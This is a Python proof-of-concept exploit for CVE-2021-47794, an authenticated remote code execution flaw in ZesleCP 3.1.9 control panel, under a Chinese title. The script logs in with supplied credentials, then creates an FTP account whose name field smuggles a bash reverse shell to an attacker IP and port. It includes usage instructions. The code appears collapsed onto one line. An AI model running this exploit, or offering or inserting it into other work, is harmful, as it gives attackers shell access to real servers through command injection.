CVE-2021-47794 ZesleCP 3.1.9 认证后远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2021-47794 PoC - ZesleCP Authenticated RCE via FTP Account Creation Author: Security Researcher Reference: https://www.exploit-db.com/exploits/50233 """ import requests import sys from urllib.parse import quote def exploit_zeslecp(target_url, username, password, attacker_ip, attacker_port): """ Exploit the authenticated RCE vulnerability in ZesleCP FTP account creation Args: target_url: Base URL of ZesleCP installation username: Valid ZesleCP username password: Password for the account attacker_ip: Attacker listening IP for reverse shell attacker_port: Attacker listening port """ session = requests.Session() # Step 1: Login to ZesleCP login_url = f"{target_url}/login" login_data = { 'username': username, 'password': password } print(f"[*] Logging in to ZesleCP at {target_url}") response = session.post(login_url, data=login_data, timeout=30) if response.status_code != 200: print("[-] Login failed - check credentials") return False print("[+] Login successful") # Step 2: Create malicious FTP account with shell injection payload ftp_create_url = f"{target_url}/ftp-account/create" # Reverse shell payload - inject into FTP account name field # Using bash reverse shell technique reverse_shell_payload = f"test;bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1;" ftp_data = { 'username': reverse_shell_payload, 'password': 'Password123!', 'homedir': '/home' } print(f"[*] Creating FTP account with malicious payload...") print(f"[*] Payload: {reverse_shell_payload}") try: response = session.post(ftp_create_url, data=ftp_data, timeout=30) if response.status_code == 200: print("[+] Exploit sent - check your listener for reverse shell") print(f"[*] Listening on {attacker_ip}:{attacker_port}") return True else: print(f"[-] Exploit failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 6: print("Usage: python3 cve-2021-47794.py <target_url> <username> <password> <attacker_ip> <attacker_port>") print("Example: python3 cve-2021-47794.py https://zeslecp.local admin password123 192.168.1.100 4444") sys.exit(1) target = sys.argv[1] user = sys.argv[2] passwd = sys.argv[3] lhost = sys.argv[4] lport = sys.argv[5] exploit_zeslecp(target, user, passwd, lhost, lport)